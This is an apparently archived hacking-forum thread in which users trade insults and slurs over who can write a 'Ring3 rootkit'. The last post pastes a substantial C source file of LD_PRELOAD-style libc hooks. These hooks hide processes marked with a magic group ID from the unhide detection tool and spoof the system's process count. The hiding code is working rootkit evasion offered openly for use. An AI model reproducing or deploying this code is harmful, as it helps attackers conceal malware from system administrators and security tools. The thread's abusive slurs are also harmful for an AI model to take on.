![]() |
|
fagcommunity.rocks - Printable Version +- Sinisterly (https://sinister.ly) +-- Forum: General (https://sinister.ly/Forum-General) +--- Forum: The Lounge (https://sinister.ly/Forum-The-Lounge) +--- Thread: fagcommunity.rocks (/Thread-fagcommunity-rocks) |
RE: fagcommunity.rocks - Psycho_Coder - 11-30-2014 (11-30-2014, 08:25 PM)Blunts Wrote: That doesn't even make sense? lol he says he is an awesome programmer and among the beautiful minds in this world but he got scared of when I challenged him lol. Fucking skids everywhere on the internet. RE: fagcommunity.rocks - dopamine - 11-30-2014 (11-30-2014, 08:24 PM)Psycho_Coder Wrote: Who knows ? Your challenges don't interest me. Go code a Ring3 rootkit in C++. That would take me a hour maximum. Can you even do it? You're used to your challenges, I am used to mine, do mine first and I will do yours. Don't forget to comment your code, don't use STL and don't use VirtualAllocEx, WPM and CRT for code injection. Also only inline hooks, none of that IAT and EAT bs. Go on. (11-30-2014, 08:28 PM)Psycho_Coder Wrote: he says he is an awesome programmer and among the beautiful minds in this world but he got scared of when I challenged him lol. Fucking skids everywhere on the internet. Now I challenged you. Go on. Don't be scared. Skid = Hacker who uses tools he doesn't understand. I don't hack!!! (11-30-2014, 08:28 PM)Blunts Wrote: Maybe you should have acknowledged that in your first post fuck nuts? Actually I use Debian as my host os. Windows in a VM. RE: fagcommunity.rocks - Blunt - 11-30-2014 (11-30-2014, 08:28 PM)Psycho_Coder Wrote: he says he is an awesome programmer and among the beautiful minds in this world but he got scared of when I challenged him lol. Fucking skids everywhere on the internet. Shit stain isn't worth it lolol nod your head and agree or continue to piss on him. Either way is fucking hilarious XD RE: fagcommunity.rocks - Psycho_Coder - 11-30-2014 (11-30-2014, 08:28 PM)dopamine Wrote: Your challenges don't interest me. Go code a Ring3 rootkit in C++. That would take me a hour maximum. Can you even do it? I challenged you first, also I don't know the meaning of what that Ring3 rootkit is, my challenges are based on understanding of programming concepts and not some specific domain unlike yours. Also I don't code in C++ or .NET, I know Python and Java thats all. I am not scared but challenges but they should be on programming concepts and not domain specific where they can be equal. I work on Data Analysis and NLP and like you said you work on Networks, which is a mismatch. But taking into concern basic programming concepts it would be a mutual ![]() (11-30-2014, 08:31 PM)Blunts Wrote: Shit stain isn't worth it lolol nod your head and agree or continue to piss on him. I know he made by day. I am going to sleep now, its late night now at my place. I had some fun reading that craps replies who got banned from one place already and is working hard to get banned from this one as well
RE: fagcommunity.rocks - dopamine - 11-30-2014 (11-30-2014, 08:34 PM)Psycho_Coder Wrote: I challenged you first, also I don't know the meaning of what that Ring3 rootkit is, my challenges are based on understanding of programming concepts and not some specific domain unlike yours. Also I don't code in C++ or .NET, I know Python and Java thats all. Python and Java? So you have absolutely zero experience in memory management. Go try and learn a decent language such as C++. I would like to see you battle with memory leaks. Programming concepts? Well to code a ring3 kit you need basic understanding of x86 ASM and decent understanding of a native language such as C, C++, Pascal, even VB6. Its just function interception and result manipulation, really simple stuff. Sadly, I haven't got into any kernel-mode stuff yet but I plan to soon. RE: fagcommunity.rocks - Psycho_Coder - 11-30-2014 (11-30-2014, 08:38 PM)dopamine Wrote: Programming concepts? Well to code a ring3 kit you need basic understanding of x86 ASM and decent understanding of a native language such as C, C++, Pascal, even VB6. I don't have an understanding of ASM or the other C, C++ langauges. You don't even know what programming concepts include and you call yourself a programmer ? fucking great. They include a proper understand of data structures, algorithmic reasoning, logic etc etc. RE: fagcommunity.rocks - Blunt - 11-30-2014 (11-30-2014, 08:34 PM)Psycho_Coder Wrote: I challenged you first, also I don't know the meaning of what that Ring3 rootkit is, my challenges are based on understanding of programming concepts and not some specific domain unlike yours. Also I don't code in C++ or .NET, I know Python and Java thats all. Haha nighty night bud ![]() and right? come back sometime!!! lol RE: fagcommunity.rocks - dopamine - 11-30-2014 (11-30-2014, 08:41 PM)Psycho_Coder Wrote: I don't have an understanding of ASM or the other C, C++ langauges. Then you're not a real programmer in my eyes. Any kid can learn Java and python. Learn C & ASM and then we can talk. RE: fagcommunity.rocks - Psycho_Coder - 11-30-2014 (11-30-2014, 08:48 PM)dopamine Wrote: Then you're not a real programmer in my eyes. Any kid can learn Java and python. Haha its so funny and am finally so happy that with this reply you finally proved yourself a noob who thinks a designated as a programmer with the programming languages he/she knows. Lol this so funny. I am done now, please go to class 0 and start learning again. RE: fagcommunity.rocks - Reiko - 11-30-2014 (11-30-2014, 07:18 PM)dopamine Wrote: Yeah, you can't code a ring3 rootkit in python. http://packetstormsecurity.com/files/81735/ISTAR-Proof-Of-Concept-Code.html Linux of course PHP Code: // unhide-funcs.c - hooks for functions called by unhide.rb
// defines removed because fuck u
#include <sys/resource.h>
// This is needed on GCC >4.7. Thanks Paul Rubel.
// http://stackoverflow.com/a/18517210
#include <sys/sysinfo.h>
// ok, we're officially autistic now.
int sched_rr_get_interval(pid_t pid, struct timespec * tp) {
struct stat s_fstat;
char procid[20];
if(!libc) libc = dlopen(LIBC_PATH,RTLD_LAZY);
if(!old_sched_rr_get_interval) old_sched_rr_get_interval=real_dlsym(libc,"sched_rr_get_interval");
if(!old_xstat) old_xstat = real_dlsym (libc, "__xstat");
memset(&s_fstat, 0, sizeof(stat));
if(getgid() == MAGIC_GID) return old_sched_rr_get_interval(pid,tp);
snprintf(procid,sizeof(procid),"/proc/%d",pid);
old_xstat(_STAT_VER, procid, &s_fstat);
if(s_fstat.st_gid == MAGIC_GID) {
errno = ESRCH;
return -1;
}
return old_sched_rr_get_interval(pid,tp);
}
int sched_getparam(pid_t pid, struct sched_param *param) {
struct stat s_fstat;
char procid[20];
if(!libc) libc = dlopen(LIBC_PATH,RTLD_LAZY);
if(!old_sched_getparam) old_sched_getparam=real_dlsym(libc,"sched_getparam");
if(!old_xstat) old_xstat = real_dlsym (libc, "__xstat");
memset(&s_fstat, 0, sizeof(stat));
if(getgid() == MAGIC_GID) return old_sched_getparam(pid,param);
snprintf(procid,sizeof(procid),"/proc/%d",pid);
old_xstat(_STAT_VER, procid, &s_fstat);
if(s_fstat.st_gid == MAGIC_GID) {
errno = ESRCH;
return -1;
}
return old_sched_getparam(pid,param);
}
int sched_getaffinity(pid_t pid, size_t cpusetsize, cpu_set_t *mask) {
struct stat s_fstat;
char procid[20];
if(!libc) libc = dlopen(LIBC_PATH,RTLD_LAZY);
if(!old_sched_getaffinity) old_sched_getaffinity=real_dlsym(libc,"sched_getaffinity");
if(!old_xstat) old_xstat = real_dlsym (libc, "__xstat");
memset(&s_fstat, 0, sizeof(stat));
if(getgid() == MAGIC_GID) return old_sched_getaffinity(pid,cpusetsize,mask);
snprintf(procid,sizeof(procid),"/proc/%d",pid);
old_xstat(_STAT_VER, procid, &s_fstat);
if(s_fstat.st_gid == MAGIC_GID) {
errno = ESRCH;
return -1;
}
return old_sched_getaffinity(pid,cpusetsize,mask);
}
int sysinfo(struct sysinfo *info) {
FILE *ps_spoof;
int rval;
char count[4];
if(!libc) libc=dlopen(LIBC_PATH,RTLD_LAZY);
if(!old_sysinfo) old_sysinfo=real_dlsym(libc,"sysinfo");
rval = old_sysinfo(info);
ps_spoof = popen("ps axHo lwp,cmd|wc -l","r");
fscanf(ps_spoof,"%3s",count);
pclose(ps_spoof);
info->procs = atoi(count)-4;
return rval;
}
int getpriority(__priority_which_t __which, id_t __who) {
struct stat s_fstat;
char procid[20];
if(!libc) libc = dlopen(LIBC_PATH,RTLD_LAZY);
if(!old_getpriority) old_getpriority=real_dlsym(libc,"getpriority");
if(!old_xstat) old_xstat = real_dlsym (libc, "__xstat");
memset(&s_fstat, 0, sizeof(stat));
if(getgid() == MAGIC_GID) return old_getpriority(__which,__who);
snprintf(procid,sizeof(procid),"/proc/%d",__who);
old_xstat(_STAT_VER, procid, &s_fstat);
if(s_fstat.st_gid == MAGIC_GID) {
errno = ESRCH;
return -1;
}
return old_getpriority(__which,__who);
}
int getsid(int pid) {
// printf("evil getsid called pid %d\n",pid);
struct stat s_fstat;
char procid[20];
if(!libc) libc = dlopen(LIBC_PATH,RTLD_LAZY);
if(!old_getsid) old_getsid=real_dlsym(libc,"getsid");
if(!old_xstat) old_xstat=real_dlsym (libc, "__xstat");
if(getgid() == MAGIC_GID) return old_getsid(pid);
memset(&s_fstat, 0, sizeof(stat));
snprintf(procid,sizeof(procid),"/proc/%d",pid);
old_xstat(_STAT_VER, procid, &s_fstat);
if(s_fstat.st_gid == MAGIC_GID) {
errno = ESRCH;
return -1;
}
return old_getsid(pid);
}
int sched_getscheduler(int pid) {
struct stat s_fstat;
char procid[20];
if(!libc) libc = dlopen(LIBC_PATH,RTLD_LAZY);
if(!old_sched_getscheduler) old_sched_getscheduler=real_dlsym(libc,"sched_getscheduler");
if(!old_xstat) old_xstat=real_dlsym (libc, "__xstat");
memset(&s_fstat, 0, sizeof(stat));
if(getgid() == MAGIC_GID) return old_sched_getscheduler(pid);
snprintf(procid,sizeof(procid),"/proc/%d",pid);
old_xstat(_STAT_VER, procid, &s_fstat);
if(s_fstat.st_gid == MAGIC_GID) {
errno = ESRCH;
return -1;
}
return old_sched_getscheduler(pid);
}
int getpgid(int pid) {
struct stat s_fstat;
char procid[20];
if(!libc) libc = dlopen(LIBC_PATH,RTLD_LAZY);
if(!old_getpgid) old_getpgid=real_dlsym(libc,"getpgid");
if(!old_xstat) old_xstat=real_dlsym (libc, "__xstat");
memset(&s_fstat, 0, sizeof(stat));
if(getgid() == MAGIC_GID) return old_getpgid(pid);
snprintf(procid,sizeof(procid),"/proc/%d",pid);
old_xstat(_STAT_VER, procid, &s_fstat);
if(s_fstat.st_gid == MAGIC_GID) {
errno = ESRCH;
return -1;
}
return old_getpgid(pid);
}
|